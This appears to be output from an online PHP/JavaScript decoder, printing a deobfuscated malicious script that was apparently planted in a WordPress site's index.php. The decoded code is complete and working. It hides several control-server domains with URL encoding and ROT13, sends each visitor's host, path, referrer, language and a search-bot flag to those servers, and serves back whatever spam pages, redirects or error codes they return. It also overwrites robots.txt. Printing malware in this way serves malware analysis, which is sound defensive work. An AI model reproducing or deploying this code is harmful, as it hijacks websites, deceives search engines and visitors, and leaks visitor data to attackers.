Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



$xmlstring = '%31%37%36%30%2D%65%6E%61%78%31%32%30%2E%65%62%61%76%66%67%76%72%2E%6B%6C%6D,%31%37%36%30%2D%65%6E%61%78%31%32%30%2E%79%6E%6F%6C%65%76%61%67%75%76%61%72%2E%67%62%63,%31%37%36%30%2D%65%6E%61%78%31%32%30%2E%73%68%67%68%65%72%6D%62%61%2E%6B%6C%6D,%31%37%36%30%2D%65%6E%61%78%31%32%30%2E%66%7A%6E%65%67%69%72%61%67%68%61%2E%67%62%63';
$xmlname = explode(',', $xmlstring);
$http = is_https() ? 'https' : 'http';
$duri_tmp = drequest_uri();
$duri = empty($duri_tmp) ? '/' : $duri_tmp;
$host = $_SERVER['HTTP_HOST'];
$lang = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en';
$urlshang = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$web = 'web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($xmlname, $http, $web);
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
$defaultContent = 'User-agent: *' . PHP_EOL;
$defaultContent .= 'Allow: /' . PHP_EOL . PHP_EOL;
$defaultContent .= 'Sitemap: ' . $http . '://' . $host . '/sitemap.xml' . PHP_EOL;
if (!file_exists($robotsPath)) {
    file_put_contents($robotsPath, $defaultContent);
} else {
    if (md5_file($robotsPath) !== md5($defaultContent)) {
        @file_put_contents($robotsPath, $defaultContent);
    }
}
if (!strstr($html_content, 'nobotuseragent')) {
    handle_content($html_content);
}
function is_https()
{
    return (
        isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'
        || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'
        || isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'
    );
}
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        return $_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['argv'])) {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
    } else {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
    }
}
function disbot()
{
    $uAgent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google') || stristr($uAgent, 'Googlebot');
}
function doutdo($webs, $http, $web)
{
    shuffle($webs);
    foreach ($webs as $domain) {
        $domain = str_rot13(urldecode($domain));
        $url = 'http://' . $domain . '/index.php?' . $web;
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $response = curl_exec($ch);
        if (!curl_errno($ch)) {
            curl_close($ch);
            return $response;
        } else {
            curl_close($ch);
        }
        if (ini_get('allow_url_fopen')) {
            $response = @file_get_contents($url);
            if ($response !== false) {
                return $response;
            }
        }
    }
    echo 'cURL Error: 0';
}
function handle_content($html_content)
{
    if (strstr($html_content, 'okhtmlgetcss')) {
        header('Content-Type: text/css; charset=utf-8');
        echo str_replace("okhtmlgetcss", '', $html_content);
        
    } elseif (strstr($html_content, 'okhtmlgetcontent')) {
        header('Content-type: text/html; charset=utf-8');
        echo str_replace("okhtmlgetcontent", '', $html_content);
        
    } elseif (strstr($html_content, 'okxmlgetcontent')) {
        header('Content-Type: application/xml; charset=utf-8');
        echo str_replace("okxmlgetcontent", '', $html_content);
        
    } elseif (strstr($html_content, 'getcontent500page')) {
        header('HTTP/1.1 500 Internal Server Error');
        
    } elseif (strstr($html_content, 'getcontent404page')) {
        header('HTTP/1.1 404 Not Found');
        
    } elseif (strstr($html_content, 'getcontent301page')) {
        header('HTTP/1.1 301 Moved Permanently');
        $html_content = str_replace('getcontent301page', '', $html_content);
        header('Location: ' . $html_content);
        
    } elseif (strstr($html_content, 'okrobotsgetcontent')) {
        header('Content-Type: text/plain');
        echo str_replace("okrobotsgetcontent", '', $html_content);
        
    }
}
define( 'WP_USE_THEMES', true );



© 2023 Quttera Ltd. All rights reserved.